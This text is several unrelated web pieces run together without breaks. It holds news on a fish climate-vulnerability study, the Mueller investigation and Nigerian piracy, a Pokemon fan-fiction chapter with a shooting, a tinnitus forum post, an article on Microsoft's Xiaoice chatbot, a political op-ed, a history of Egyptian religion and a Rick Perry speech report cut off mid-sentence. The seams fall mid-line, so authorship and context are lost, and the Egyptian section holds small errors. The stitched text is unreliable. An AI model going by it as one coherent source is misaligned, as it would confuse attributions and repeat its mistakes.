The findings will allow scientists to prioritise their research, says Hare, and also help with managing fisheries sustainably:
Managers can use the results to identify potential impacts and start discussions on possible management actions to reduce impacts and increase resilience for species, fisheries, and fishing-dependent communities.
Similar assessments are now underway for the Bering Sea in the northern Pacific Ocean and California’s coast, helping to build a better view of how global fish stocks could be threatened by climate change.
Main image: Man showing a lobster, Portland, Maine, USA. © Aurora/Aurora Photo/Corbis.
Hare, J. A. et al. (2016) A Vulnerability Assessment of Fish and Invertebrates to Climate Change on the Northeast U.S. Continental Shelf, PLOS_ONE, doi:10.1371/journal.pone.0146756Robert Mueller is not ending the summer with a tan. The 73-year-old special counsel leading the sprawling Department of Justice investigation into alleged ties between President Donald Trump and Russia is keeping the same grueling hours he did a decade ago as director of the F.B.I. Mueller is among the first of his team to arrive in their borrowed offices inside Washington’s Patrick Henry office building every morning and one of the last to leave each night.
More of what’s going on behind Mueller’s office door is showing up in public, though, a sign of the growing momentum of his probes into possible collusion, money laundering, election hacking, and obstruction of justice. NBC News reported that Mueller has obtained notes from the phone of Paul Manafort, Trump’s former campaign manager, that include a cryptic reference to contributions and “RNC.” The notes were apparently taken during a meeting with Russian nationals at Trump Tower. And Politico’s Josh Dawsey broke the news that Mueller has begun working with the office of New York state’s attorney general, Eric Schneiderman. (The offices of Mueller and Schneiderman declined to comment.)
The special counsel’s staff had been in touch with Schneiderman’s office for months, exchanging information and discussing whether they might coordinate their efforts, because the attorney general has spent years looking into Trump’s finances. He added to that knowledge in March by hiring Howard Master, who had been deputy chief of the criminal division under former U.S. Attorney Preet Bharara. Bharara’s office had assembled a major money-laundering case against 11 Russian companies; the scheme had been uncovered by Sergei Magnitsky, a Russian lawyer who died in a Moscow jail under mysterious circumstances. A defense lawyer who represented the Russian companies, Natalia Veselnitskaya, was part of the now-famous Trump Tower meeting, supposedly to discuss adoptions, during last year’s presidential campaign.
Also at the meeting was Manafort, a man with years of murky, multi-million-dollar international business dealings. “Manafort’s possible ties to the Kremlin are part of the investigation,” a source with knowledge of the probe says. “If he’s laundering money, you need to know who he’s laundering it for. Were they trying to buy something through Manafort? We wouldn’t necessarily need to answer that question to bring a case.”
Schneiderman’s tangled history with the Trump family adds a layer of intrigue. Back when he was merely a reality-show star and a real-estate developer, Trump donated $12,500 to help get Schneiderman elected. But in 2013 the attorney general filed a $40 million lawsuit on behalf of former Trump University students who claimed they’d been bilked. Trump filed an ethics complaint against Schneiderman, saying he’d solicited donations from Ivanka Trump while the Trump U. case was active (the complaint was dismissed). The New York Observer—owned at the time by Jared Kushner—happened to run a massive story ripping Schneiderman. And recently Schneiderman poked around inside the charities run by Trump and his son Eric.
The Russia case is, of course, strictly business. “Both Mueller and Schneiderman want to make sure they’re taking a real shot, not messing around with novel legal theory,” a source familiar with the investigation says. Schneiderman’s lieutenants have been exploring one particular piece of the puzzle since at least May: Manafort’s New York real-estate transactions. A state attorney general’s presence could also be helpful, eventually, as a legal tactic, because a president’s pardon powers do not extend to cases brought by state law enforcement. So if Manafort hoped he might become the next Joe Arpaio, the special counsel seems to have closed off that escape route.
That would only be the latest rude surprise Mueller has delivered to Manafort. On July 26, before dawn, F.B.I. agents raided Manafort’s Alexandria, Virginia, home, at the special counsel’s behest. It was reported this week that Mueller issued subpoenas to Manafort’s former lawyer and his current spokesman. Mueller would no doubt be thrilled to have Manafort become a cooperating witness, and there has been breathless speculation that these latest actions might be designed to turn up the pressure. Veteran prosecutors scoff. “The ‘send-a-message’ stuff is bullshit,” says Peter Zeidenberg, who was part of the federal team in the Scooter Libby leak case. “Nobody operates that way. They just want the documents, and they’re doing what they need to do to get them. It’s a very aggressive move.”
Mueller could have asked nicely, but the raid likely indicates he thought there was a chance Manafort might withhold or destroy evidence. The substance of what, if anything, he found in the material is crucial, of course. But so far the greatest significance is that the raid happened at all. “The search warrant is extremely important,” says Renato Mariotti, a former federal prosecutor with an expertise in securities and commodities fraud. “That’s probably the most important development there has been in Mueller’s investigation to date. It indicates that Mueller believes that he has evidence that he can prove there is a good reason to believe a crime has occurred, and that evidence of that crime was at Paul Manafort’s home. It also means he presented that evidence to a neutral third party—a federal magistrate judge. And that judge concluded that Mueller was right, that there is probable cause. It’s the first time an independent person has indicated there is evidence a crime has been committed.” Manafort has denied any wrongdoing. (A spokesperson for Manafort declined to comment.)
The beginning of this drama lasted seven months and assembled a bewildering array of characters and scenarios. “From January to July it felt like all these plotlines were tossed out there and you couldn’t tell if anything was going to cohere,” a Senate Democratic operative who has kept close tabs on the investigation says. “Then you had Don Jr.’s e-mails about the Trump Tower meeting, and it was like the curtain came down on Act One: ‘A-ha!’”
Act Two is all about Mueller.
This story has been updated.Chapter Three: Troll Down
The first attack came without warning. Abe was at the Cerulean Pokemon Center, resting up his Pokemon after a hard day of training and retrieving Growlizard from the PC, when he suddenly saw a face he'd never hoped to see again.
The Super Nerd. From Mt. Moon. The one he'd received the fossil from.
And he didn't look happy.
Well, check that.
He looked entirely too happy. And he was holding a gun.
"You know," the Super Nerd went on, pressing Abe against the corner where the wall met the PC, "I don't recall you asking if you could have that Dome Fossil."
Abe quickly scanned the room for the Gatekeepers, or at least some form of authority to tell the Super Nerd that he shouldn't be pulling a gun on people. "But you g-g-g-gave it to me..."
"Because your stupid mutt Charizard beat me up, that's why!" The Supert Nerd took a step closer. "But that Helix Fossil -- ooh, you will not guess what that Helix Fossil got me..."
Abe quickly slipped a randomly chosen Poke Ball into the PC system. "Call the Gatekeepers," he whispered to it, hoping it wasn't someone like Growlizard (who hated the Gatekeepers) or Baba (who was not the type of Pokemon he would want to speak to the Gatekeepers to begin with).
The Super Nerd grinned. "Call the Gatekeepers indeed! They're the ones who paid me huge money for handing over that Helix!" He took another step closer to Abe. "And I told them I knew where the Dome was, too. And once I get it for them, my pockets will be lined with--"
"Hey, punk, your shoelace is untied!"
Both Abe and the Super Nerd turned towards the sound of the voice. Much to the Nerd's surprise and Abe's horror, Trolliwag had escaped from his ball and was perched defiantly on top of the PC.
The Nerd glared up at the hat-wearing Poliwag. "Shut up, tadpole! This isn't your--"
"Hey, what's brown and sounds like a bell?"
The Nerd gave Trolli an odd look. "Dung. That's the oldest joke in the--"
"You are!" Trolli laughed, shooting his darndest spray of Bubbles right at the Nerd's pistol.
He should not have done that.
He really should not have done that.
The Nerd pulled back in shock, reflexively pulling the trigger. A bullet hit close to Abe's feet, and the Host jumped back in alarm, his hand hitting the PC and Trolliwag as he tried to steady himself.
Trolli, seeing the Nerd pull himself upwards and aim his gun at Abe again, gave a shrill battle cry at a pitch that even Abe couldn't hear and lunged forward at the Super Nerd.
Another bullet whizzed past Abe's head as the shot went wild while the Nerd dodged. Abe had already slipped on the spill from Trolliwag's own Bubbles and stumbled, coincidentally enough -- or was it providence? -- before the bullet could blow him a new one.
If it was providence, it didn't seem to help Trolliwag any. The Nerd whirled around on his feet, screamed an obscenity, and emptied the gun squarely in the center of the spiral-shaped target on Trolliwag's belly.
The Voices in Abe's head cried out in terror. THAT GUY IS AN AGENT OF THE PC WE'RE TRAPPED WE'RE TRAPPED OH NO
Bill's accomplice trapped us
Bill will do whatever it takes to get rare Pokemon. This is all part of the plan
"AHHHHHHHHHHH...!!"
Abe stumbled backwards in shock and anguish, clutching his head and screaming. He didn't have it in him to run, to call out any more of his Pokemon, even though he knew inside that anyone else could be next. This can't... this can't be happening...
"Trolliwag! TROLLIWAAAAAAAAG!!!!!"
TO BE CONTINUED...Thanks everyone!One observation I do have and it's that the groups of people and doubters who often seem to be vocal - on a discussion board out of all things - about what they are convinced of are the issues with the current state of research or awareness and prospects of a future cure or effective treatments, pretty much never try to do anything to change things, or even attempt to be part of any positive angle, to the contrary, it can almost feel as if they would rather everyone threw in the towel and accepted defeat... Rarely do you even see them giving a like on social media. Sometimes they do have lots of ideas though; should do this, should do that, morons not seeing or attempting this or that, but hey my PhD in arm chair criticism allows me to competently and objectively state these things as facts, however when push comes to shove... when it would be time to practice what you preach, suddenly it's quiet.I for one am very glad these folks aren't actually responsible for advocating for the patient community's benefit, let alone playing any kind of part in current and future research.So, as you can imagine, the potential "return on investment" in relation to time and effort spent trying to reason with the naysayers is not really there and hence, as a rule of thumb, it's better to direct the focus and efforts where optimism, encouragement and continued improvement are the daily drivers. These are all found, for example, in the work of Tinnitus Research Initiative, and now the research topic on tinnitus. I and @Steve have first hand been able to see how people like Winfried Schlee (scientific coordinator of TRI) and Berthold Langguth (chairman of TRI) attack tinnitus on a positive, yet persistent force. The drive to push for more and better research and more awareness is palpable. I have often exchanged messages when it's middle of the night, and gotten instant responses - many of our collaborations are the fruit of some seriously whacked hours. Seriously, quite a few of the naysayers would be surprised how many researchers respond outside of office hours, even during their holidays, and how dedicated they are to what they are doing. These are the people you want to surround yourself with.—Nikos KazantzakisDr. Hsiao-Wuen Hon is speaking quickly inside a Beijing boardroom, excited about the conversation topic. He’s rattling off statistics and talking about Xiaoice, a new personal assistant built by Microsoft that is already being used by 40 million smartphone owners across China and Japan.
Hon explains how Xiaoice is similar to digital assistants like those we’re familiar with in the U.S.: Apple’s Siri, Amazon’s Alexa, Facebook’s M, Google Now, and Microsoft’s own Cortana.
But this particular one, which roughly translates to “Little Bing,” is more personal, emotional, friendly, talkative, and at times, more helpful. Rolled out in China late last year and in Japan (it’s called Rinna there) this past August, early consumers seem to enjoy using Xiaoice — even Hon himself is jazzed up about its performance and potential.
“Xiaoice, by and large in terms of development of artificial intelligence, is already a huge milestone,” he told GeekWire last week.
On our recent GeekWire China trip, we had a chance to sit down with Dr. Hon, a 20-year Microsoft veteran and corporate vice president, chairman of Microsoft’s Asia-Pacific R&D Group, and managing director of Microsoft Research Asia in Beijing, where the idea for Xiaoice originated.
Xiaoice is perhaps best described as a virtual friend — one that can have conversations relevant to you, make you smile, suggest new products to purchase, identify photos, and so much more. It’s not only intelligent, but also rather thoughtful — for a robot, at least — thanks to advanced sentiment analysis technology.
So far, users are falling in love with Xiaoice — quite literally. At the 2015 GeekWire Summit, New York Times reporter John Markoff noted that 25 percent of users had told Xiaoice “I love you.”
Xiaoice, accessed via Weibo (China’s version of Twitter), WeChat (China’s version of Facebook Messenger), Windows Phone, and other platforms, can also already participate in a substantial amount of back-and-forth chit-chats between the robot and a human. The goal for Xiaoice, Dr. Hon explained, is to continue the conversation; based on that metric, Microsoft seems to be succeeding so far.
When the company first launched Xiaoice to Chinese users last year, the typical conversation averaged about five interactions per session. Just one year later, that number is up to 23 interactions.
“We feel very proud,” Hon said.
Earlier this summer, The New York Times showed how Xiaoice communicates with a user. You can also see another example below (click to enlarge):
The technology behind Xiaoice is impressive. Microsoft’s team in Beijing uses data from public Chinese chat forums and social media while utilizing machine learning algorithms to enable robot-to-human chats. It remembers past conversations and can even identify and talk about photos that a user sends.
Xiaoice’s usefulness extends beyond just these random chit-cats. Some companies, like Chinese e-commerce giant JD.com, are finding that Xiaoice can also act as a marketing tool. JD.com gave Microsoft access to its product catalog, which enables Xiaoice to act as a shopping buddy — answering questions that a user might have and offering recommendations about various items. (see the screenshot above for an example).
“We’ve shown that monetization on this channel is much, much higher than regular JD.com channels,” Hon said. “It will be very interesting to have something that people actually trust.”
Xiaoice’s early traction and success indicates that the tech giant may have something special on its hands from an artificial intelligence, machine learning, and big data perspective. The Redmond-based company already has Cortana, its digital assistant used by consumers in the U.S. and elsewhere.
But Xiaoice utilizes artificial intelligence from a different angle.
“We’re trying to have a emotional connection with user,” Hon said.
How much personality tech companies program into their robot assistants is already a debated topic in the U.S., with Reuters publishing a story on Tuesday examining this subject. Xiaoice, meanwhile, certainly falls on the side of exhibiting more human-like emotions and attitude — which can open up a whole realm of new possibilities for a user.
“While it gives you useful information, a lot of times it just wants to be your friend,” Hon said.
Dr. Oren Etzioni, a veteran Seattle entrepreneur who is now CEO of the Allen Institute for Artificial Intelligence, told GeekWire that Xiaoice is “definitely” an indication of things to come, offering up similar examples like interactive Barbie toys, software-based “pets” for the elderly, and digital assistants like Siri, Alexa, and M.
But Etzioni also cautioned that there are potential downsides to the new technology, some of which are exemplified in the popular movie “Her.”
“We are seeing more and more intelligent assistants and software companions,” he said. “The good news is that they fulfill a real need, but the bad news is that these technologies don’t further human-to-human interaction. The future will be bleak if we find ourselves ‘over-connected’ to software and yet alone — just as in the movie ‘Her.'”
Hon said that in the future, he sees humans using a combination of something more task-driven like Cortana with something more emotional like Xiaoice.
“The two will move to a middle ground — something that provides an emotional connection but also gives you efficiency and productivity,” he said.
Hon added that there’s “huge opportunity” when you combine efficient and effective artificial intelligence with a human’s wants and needs.
As far as why Microsoft launched Xiaoice in China before anywhere else, Hon said it was mostly because the idea originated among R&D teams in Beijing. However, he noted that Chinese consumers today are “more receptive to new technology,” which makes it easier to test something like Xiaoice.
Microsoft said earlier this year that it is developing an English-language version of Xiaoice. Hon noted that “if we continue the success, we will certainly consider” rolling out a version in the U.S.It might be hard to believe, but by the age of ten, I was already a gang member, a petty thief, and an academic failure. A neighborhood friend of mine went to prison for the stabbing death of one of our high school basketball stars. It could have been me – in prison or in the morgue.
I came from a broken family, spent the first ten years of my life in foster care, and lived in the poorest and roughest area of a working-class town in Pennsylvania.
It was not luck that allowed me to rise above these circumstances, to serve to my country in the United States Marine Corps, or to become the first in my family to graduate from college, Summa Cum Laude. I went on to Harvard Law School, practiced law for fifteen years, managed a radio station for ten, authored two books, pastored several churches, and won the Republican nomination for lieutenant governor of Virginia.
My life trajectory was altered overnight when my father reclaimed custody of his son. He set high expectations, taught me discipline, and held me accountable for my actions. He modeled the dignity and pride of working for what you want in life. He bristled at the idea of accepting welfare or government handouts. He believed that respect is not owed, but earned by conduct and character. He taught me the importance of honor and keeping your word. He was a man's man at a time when masculine strength was still a virtue.
He demanded that I respect the law, police officers, and others in authority. My short-lived criminal career was over.
He did not deny the reality of racial prejudice. He simply denied its ability to determine my destiny. I was not allowed to think anyone could stop me from achieving my goals. In short, my father was an American, imbued with American values of hope and high expectations that his son would have a better life than he'd had.
This attitude was common in the '50s, but America would experience a cultural sea change in the '60s that would erode the values that still guide my life. The black family was decimated in the process. Many in the black community would surrender their independence and entrepreneurial ambition for a welfare system of psychological captivity.
Drugs, crime, gangs, violence, murders, out-of-wedlock births, fatherless children, government housing, and monthly allotments of cash and food stamps would become the new normal. The governmental experiment in social transformation was an abject failure that did untold damage.
We cannot continue to do the same thing expecting different results. We need a comprehensive private-sector plan to end the cycle of poverty, crime, and family disintegration. We need a way of re-instilling the values my dad taught me, values once the norm in the black community. Until the rise of the welfare state in the 1960s, black citizens believed in education, hard work, and entrepreneurship. They trusted God instead of government, and their families held together and prospered in far more harsh racial conditions than faced today.
Government cannot transform culture except for the worse, because politics prefers a dependent constituency to a community of achievers who think and act independently.
This is the premise for STAND (Staying True to America's National Destiny Foundation)'s "Project Awakening." A non-governmental approach is essential to solving the problems of America's inner cities. What is needed is private partnership among churches, businesses, private schools, and other institutions.
Project Awakening is summarized by the acronym CREATE. "CR" is for cultural renewal. "EA" is for entrepreneurial awakening. "TE" is for technical education.
The entrepreneurial spirit once permeated the black community because blacks had no choice. That impulse should have been nurtured. Instead, it was cut short by government "help." We must focus on technical education to give people marketable skills instead of esoteric studies that often amount to political indoctrination.
However, it will take cultural renewal to instill again the value of education and entrepreneurship. My father changed my culture, changed what I valued, and changed my life. We have the ability to do that for every at-risk child in America, but it will require refusing a single dime of taxpayer funding.
This is counterintuitive, given the trillions spent "solving" social problems, but either we cast a new vision with a new strategy or we settle for islands of chaos in our midst. My father intervened before it was too late and changed my life. We can do the same for every young person looking for an exit off a dead-end road. Government has tried and failed. It is time for private-sector action.
Fifty years ago, my life was redirected and my destiny forever changed. Fifty years from now, a whole generation could be saying the same. Or we could be witnessing more gang warfare, more riots, and yet another crop of young men bound for prison, drug addiction, and early death. The choice is ours.
E.W Jackson is a Marine Corps veteran, a retired attorney, the 2013 Republican nominee for lieutenant governor of Virginia, president of STAND Foundation, Inc. (www.standamerica.us), and bishop of THE CALLED Church.Welcome
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including the Opening of the mouth ceremony intended to restore the dead person's senses and give him or her the ability to receive offerings. Then the mummy was buried and the tomb sealed. Afterward, relatives or hired priests gave food offerings to the deceased in a nearby mortuary chapel at regular intervals. Over time, families inevitably neglected offerings to long-dead relatives, so most mortuary cults only lasted one or two generations. However, while the cult lasted, the living sometimes wrote letters asking deceased relatives for help, in the belief that the dead could affect the world of the living as the gods did.
The first Egyptian tombs were mastabas, rectangular brick structures where kings and nobles were entombed. Each of them contained a subterranean burial chamber and a separate, above ground chapel for mortuary rituals. In the Old Kingdom the mastaba developed into the pyramid, which symbolized the primeval mound of Egyptian myth. Pyramids were reserved for royalty, and were accompanied by large mortuary temples sitting at their base. Middle Kingdom pharaohs continued to build pyramids, but the popularity of mastabas waned. Increasingly, commoners with sufficient means were buried in rock-cut tombs with separate mortuary chapels nearby, an approach which was less vulnerable to tomb robbery. By the beginning of the New Kingdom even the pharaohs were buried in such tombs, and they continued to be used until the decline of the religion itself.
Tombs could contain a great variety of other items, including statues of the deceased to serve as substitutes for the body in case it was damaged. Because it was believed that the deceased would have to do work in the afterlife, just as in life, burials often included small models of humans to do work in place of the deceased. The tombs of wealthier individuals could also contain furniture, clothing, and other everyday objects intended for use in the afterlife, along with amulets and other items intended to provide magical protection against the hazards of the spirit world. Further protection was provided by funerary texts included in the burial. The tomb walls also bore artwork, including images of the deceased eating food which were believed to allow him or her to magically receive sustenance even after the mortuary offerings had ceased.
History [ edit ]
Around 3050 BCE, King Narmer united the regions of Upper Egypt and Lower Egypt. The unified kingdom constituted a centralized state and is referred to as the Old Kingdom. Prior to this period, Egypt consisted of separate territories connected through trade and a highly developed system of religious belief and practice.
Predynastic and Early Dynastic periods [ edit ]
Narmer, a Predynastic ruler, accompanied by men carrying the standards of various local gods.
The beginnings of Egyptian religion extend into prehistory, and evidence for them comes only from the sparse and ambiguous archaeological record. Careful burials during the Predynastic period imply that the people of this time believed in some form of an afterlife. At the same time, animals were ritually buried, a practice which may reflect the development of zoomorphic deities like those found in the later religion. The evidence is less clear for gods in human form, and this type of deity may have emerged more slowly than those in animal shape. Each region of Egypt originally had its own patron deity, but it is likely that as these small communities conquered or absorbed each other, the god of the defeated area was either incorporated into the other god's mythology or entirely subsumed by it. This resulted in a complex pantheon in which some deities remained only locally important while others developed more universal significance. As the time changed and the shifting of the empires changed like the middle kingdom, new kingdom, and old kingdom, usually the religion followed stayed within the border of that territory.
Following the unification and centralization of Egypt by King Narmer at the beginning of the dynastic period some deities rose to national importance and the cult of the divine pharaoh became the central focus of religious activity. A centralized state with strong kings during the Old Kingdom brought stability and wealth to Egypt. The continuing strength of a king depended on proper fulfillment of his religious role in the state. Like the various animals believed to be the way the deities presented themselves to humans, the king, too was a deity, albeit in human form. Horus was identified with the king, and his cult center in the Upper Egyptian city of Nekhen was among the most important religious sites of the period. Another important center was Abydos, where the early rulers built large funerary complexes. The king's central importance in religious life was linked to his role in ensuring maat, the right order or hierarchy, which in turn ensured justice and stability of the forces of nature. For the king this meant displaying piety, defending the state from enemies, and promulgating laws for the benefit of the people. Doing so would ensure the Nile flooded regularly and Egypt's soil stayed fertile.
Old and Middle Kingdoms [ edit ]
During the Old Kingdom, the priesthoods of the major deities attempted to organize the complicated national pantheon into groups linked by their mythology and worshiped in a single cult center, such as the Ennead of Heliopolis which linked important deities such as Atum, Ra, Osiris, and Set in a single creation myth. Meanwhile, pyramids, accompanied by large mortuary temple complexes, replaced mastabas as the tombs of pharaohs. King Khufu (r. 2609-2584 BCE) commissioned the Great Pyramid of Giza, rising to 480 feet tall and extending 760 feet on each side. In contrast with the great size of the pyramid complexes, temples to gods remained comparatively small, suggesting that official religion in this period emphasized the cult of the divine king more than the direct worship of deities. The funerary rituals and architecture of this time greatly influenced the more elaborate temples and rituals used in worshiping the gods in later periods.
The pyramid complex of Djedkare Isesi.
Early in the Old Kingdom, Ra grew in influence, and his cult center at Heliopolis became the nation's most important religious site. By the Fifth Dynasty, Ra was the most prominent god in Egypt, and had developed the close links with kingship and the afterlife that he retained for the rest of Egyptian history. Around the same time, Osiris became an important afterlife deity. The Pyramid Texts, first written at this time, reflect the prominence of the solar and Osirian concepts of the afterlife, although they also contain remnants of much older traditions. Therefore the texts are an extremely important source for understanding early Egyptian theology.
The Old Kingdom came to an end at the close of the third millennium BCE. Wars broke out among rival families vying for rule, rupturing the unity of the state. In the aftermath, regional governors established independent states during what is know as the First Intermediate Period (2190-2061 BCE). The collapse of the Old Kingdom and the disorder of the First Intermediate Period, with important consequences for Egyptian religion. Old Kingdom officials had already begun to adopt the funerary rites originally reserved for royalty, but now, less rigid barriers between social classes meant that these practices and the accompanying beliefs gradually extended to all Egyptians, a process called the "democratization of the afterlife". The Osirian view of the afterlife had the greatest appeal to commoners, and thus Osiris became one of the most important gods.
Unity gradually returned to Egypt with kings of the Middle Kingdom (c. 2055–1650 BCE). Governors from the city of Thebes in Upper Egypt led the way and Mentuhotep II became the first king of the Middle Kingdom. The kings of this period extended Egypt's boundaries through war and trade contacts through diplomacy. They returned maat to Egypt, but the nobility had more power than in the Old Kingdom. The kings expanded trade networks with Mesopotamia, cities in the Levant, and the Minoans on Crete. Mentuhotep II extended Egyptian control over Lower Nubia in order to protect trade and gain the valuable natural resources, especially gold and ivory, from southern regions on the trade routes. A later king, Amenemhet, fortified Egyptian control of and presence along these routes with forts from the interior areas of trade to the Nile River. These Theban kings initially promoted their patron god Monthu to national importance, but during the Middle Kingdom he was eclipsed by the rising popularity of Amun. In this new Egyptian state, personal piety grew more important and was expressed more freely in writing, a trend which continued in the New Kingdom.
This was also a period of increased immigration of peoples from surrounding lands settling within Egypt's borders. One of these groups that immigrated from Canaan, the Hyksos, which meant "rulers of foreign lands," took control of northern regions of the Egyptian state. The Hyksos ruled in this region from about 1650 until 1540 BCE. The Hykso rule furthered contact with Near Eastern peoples and brought new elements to Egyptian culture, such as bronze technology and chariot warfare.
New Kingdom [ edit ]
Akhenaten making offerings to the Aten.
The Middle Kingdom crumbled in the Second Intermediate Period (c. 1650–1550 BCE), but the country was again reunited by Theban rulers, who established the New Kingdom. After expelling the Hyksos, King Ahmose I (r. ca. 1550-ca.1525 BCE) took the title pharaoh, meaning master or great house. The New Kingdom was a period of imperial expansion. The dynasties of this kingdom re-established a centralized state, maintained a standing army, and believed in the responsibility of Egyptians to bring order to foreign lands and peoples. Thutmose I (r. 1504-1492 BCE) extended Egyptian control over southern Palestine, and by the reign of Thutmose III (r. 1458-1425 BCE) Egypt's control extended to the Euphrates River. The pharaohs divided Egypt into two bureaucratic centers: Upper Egypt, with its capital at Thebes, and lower Egypt with its capital at Memphis. From these centers administrators raised and collected taxes, regulated irrigation and agriculture, and redistributed goods. There were also provincial governors of the regions Egypt conquered who maintained order in outlying areas.
Under the new regime, Amun became the supreme state god. He was syncretized with Ra, the long-established patron of kingship, and his temple at Karnak in Thebes became Egypt's most important religious center. Amun's elevation was partly due to the great importance of Thebes, but it was also due to the increasingly professional priesthood. Their sophisticated theological discussion produced detailed descriptions of Amun's universal power.
Increased contact with outside peoples in this period led to the adoption of many Near Eastern deities into the pantheon. At the same time, the subjugated Nubians absorbed Egyptian religious beliefs, and in particular, adopted Amun as their own.
Pharaohs celebrated their rule and victories with large-scale building projects. Amenhotep III (r. 1388-1350 BCE) built a grand palace with a sanctuary and Rameses II (r. 1279-1212 BCE) built the Great Temple in Nubia. The preservation of maat meant continuity in the social hierarchy, including the position of women in society. However, in ca. 1479 BCE, Hatshepsut, chief wife and half-sister of Thutmose II became reageant for the child Thutmose III and took the title pharaoh for herself. She adopted masculine images and rituals of male rulers during her twenty-year rule. Her successor, Thutmose III, eventually had all of Hatshepsut's monuments and inscriptions removed late in his reign, erasing her from the historical record.
The New Kingdom religious order was disrupted when Akhenaten acceded, and replaced Amun with the Aten as the state god. Ascending to the throne originally as Amenhotep IV (r. 1351-1334 BCE), the pharaoh changed his name to Akenaten, symbolizing his devotion to Aten, the sun disc of the sun god Amun, declaring Aten as the supreme and only god. Eliminating the official worship of most other gods, he moved Egypt's capital to a new city at Amarna, for which this part of Egyptian history, the Amarna period, is named. In doing so Akhenaten claimed unprecedented status for himself: only he could worship the Aten, and the populace directed their worship toward him. The Atenist system lacked well-developed mythology and afterlife beliefs, and the Aten itself seemed distant and impersonal, so the new order did not appeal to ordinary Egyptians. Thus, many of them probably continued to worship the traditional gods in private. Nevertheless, the withdrawal of state support for the other deities severely disrupted Egyptian society. Akhenaten's successors therefore restored the traditional religious system, and eventually they dismantled all Atenist monuments.
Before the Amarna period, popular religion had trended toward more personal relationships between the gods and their worshippers. Akhenaten's changes had reversed this trend, but once the traditional religion was restored, there was a backlash. The populace began to believe that the gods were much more directly involved in daily life. Amun, the supreme god, was increasingly seen as the final arbiter of human destiny, the true ruler of Egypt. The pharaoh was correspondingly more human and less divine. The importance of oracles as a means of decision-making grew, as did the wealth and influence of the oracles' interpreters, the priesthood. These trends undermined the traditional structure of society and contributed to the breakdown of the New Kingdom.
Later periods [ edit ]
Bust of Serapis. Marble, Roman copy after a Greek original from the 4th century BC, stored in the Serapaeum of Alexandria.
In the 1st millennium BCE, Egypt was significantly weaker than in earlier times, and in several periods foreigners seized the country and assumed the position of pharaoh. The importance of the pharaoh continued to decline, and the emphasis on popular piety continued to increase. Animal cults, a characteristically Egyptian form of worship, became increasingly popular in this period, possibly as a response to the uncertainty and foreign influence of the time. Isis grew more popular as a goddess of protection, magic, and personal salvation, and became the most important goddess in Egypt.
In the 4th century BCE, Egypt became a Hellenistic kingdom under the Ptolemaic dynasty (305–30 BCE), which assumed the pharaonic role, maintaining the traditional religion and building or rebuilding many temples. The kingdom's Greek ruling class identified the Egyptian deities with their own. From this cross-cultural syncretism emerged Serapis, a god who combined Osiris and Apis with characteristics of Greek deities, and who became very popular among the Greek population. Nevertheless, for the most part the two belief systems remained separate, and the Egyptian deities remained Egyptian.
Ptolemaic-era beliefs changed little after Egypt became a province of the Roman Empire in 30 BCE, with the Ptolemaic kings replaced by distant emperors. The cult of Isis appealed even to Greeks and Romans outside Egypt, and in Hellenized form it spread across the empire. In Egypt itself, as the empire weakened, official temples fell into decay, and without their centralizing influence religious practice became fragmented and localized. Meanwhile, Christianity spread across Egypt, and in the third and fourth centuries CE, edicts by Christian emperors and iconoclasm by local Christians eroded traditional beliefs. While it persisted among the populace for some time, Egyptian religion slowly faded away.
Legacy [ edit ]
Egyptian religion produced the temples and tombs which are ancient Egypt's most enduring monuments, but it also left many influences on other cultures. In pharaonic times many of its symbols, such as the sphinx and winged solar disk, spread widely across the Mediterranean and Near East, as did some of its deities, such as Bes. Some of these connections are difficult to trace. The Greek concept of Elysium may have derived from the Egyptian vision of the afterlife. In late antiquity, the Christian conception of Hell was most likely influenced by some of the imagery of the Duat, and the iconography of Mary may have been influenced by that of Isis. Egyptian beliefs also influenced or gave rise to several esoteric belief systems developed by Greeks and Romans who saw Egypt as a source of mystic wisdom. Hermeticism, for instance, derived from the tradition of secret magical knowledge associated with Thoth.
Traces of ancient beliefs remained in Egyptian folk traditions into modern times, but its impact on modern societies greatly increased with the French Campaign in Egypt and Syria in 1798. As a result of it, Westerners began to study Egyptian beliefs firsthand, and Egyptian religious motifs were adopted into Western art. Egyptian religion has since had a significant impact on popular culture.[4]Nigeria's navy says it has rescued a Singapore-owned oil tanker hijacked by pirates on Tuesday night with 23 Indian sailors on board.
A navy spokesman told the BBC the crew was safe, the hijackers had fled and the vessel, the Abu Dhabi Star, was being escorted into the port of Lagos.
Earlier, the navy denied reports that the tanker was seized in the port.
There has been a significant increase in the number of pirate attacks in parts of West Africa.
The BBC's Will Ross in Lagos says unlike the piracy off the coast of Somalia where hostages are held for ransom, in the Gulf of Guinea the armed gangs are after the cargo which is usually swiftly offloaded.
Navy spokesman Commodore Kabir Aliyu said no shots were fired before the hijackers abandoned the Abu Dhabi Star.
Earlier the navy had sent two ships and a helicopter to the scene.
"We want to commend the superb effort of the Nigerian navy in securing the safe release of the Abu Dhabi Star. There were no casualties and the cargo is intact," Pottengal Mukundan, the director of the International Maritime Bureau, told the BBC.
"It is very important that the Nigerian authorities apprehend, investigate and try those who carried out the attack," he said.
Our correspondent says questions will be asked as to how the pirates were able to hijack the ship so close to the coastline and how they managed to escape.
Last month there were two similar hijackings just along the coast near Togo.
In both incidents the oil was siphoned off before the vessels and crew were released.
Last year, Nigeria and neighbouring Benin began joint naval patrols in an effort to combat the threat of pirates. The rescue of the Abu Dhabi Star is a rare case of a successful and swift intervention.Republicans should reclaim the 155-year-old mantle of championing black causes through jobs, economic prosperity and revamping drug laws that imprison too many minority youths, Rick Perry said on Thursday.The presidential contender criticized decades of Democratic programs that have failed to lift one-fourth of African-Americans above the poverty line. He suggested it was wrong for his party to ignore the problems and should actively work to gain black support and promote different programs to rectify intransigent problems.His message comes as Republican leaders have wrestled with the changing politics surrounding the rebel flag, police treatment of black suspects and the personal attacks from a handful of arch conservatives aimed at Barack Obama."For too long, we Republicans have been content to lose the black vote, because we found that we could win elections without it. But when we gave up on trying to win the support of African Americans, we lost our moral legitimacy as the party of Lincoln - as the party of equal opportunity for all," Perry said.Speaking at the National Press Club in Washington, and underscoring his message with an editorial written for Fox News, Perry said that a robust economy could be the engine to pull more African-Americans into the middle-class."The best welfare program in America is a job," he said.Perry began his speech with a jarring bit of Texas history, recalling in grisly detail a 1916 incident where Waco mob brutally tortured and mutilated a mentally disabled black man found guilty of murdering and raping his boss' wife.He said while Texas and the nation have moved beyond such history, and he is "proud to live in a county that has an African-American president," the remnants of racism and segregation have left too many blacks behind.He held out Texas' improved high school graduation, $10,000 college degree program, and prison diversion and drug treatment projects as examples of what can be done to break the cycle of poverty. He also suggested Texas was becoming a magnet for blacks - ranking just behind Georgia for its increase in African-American population, although much of that can be attributed to former Louisiana residents displaced by 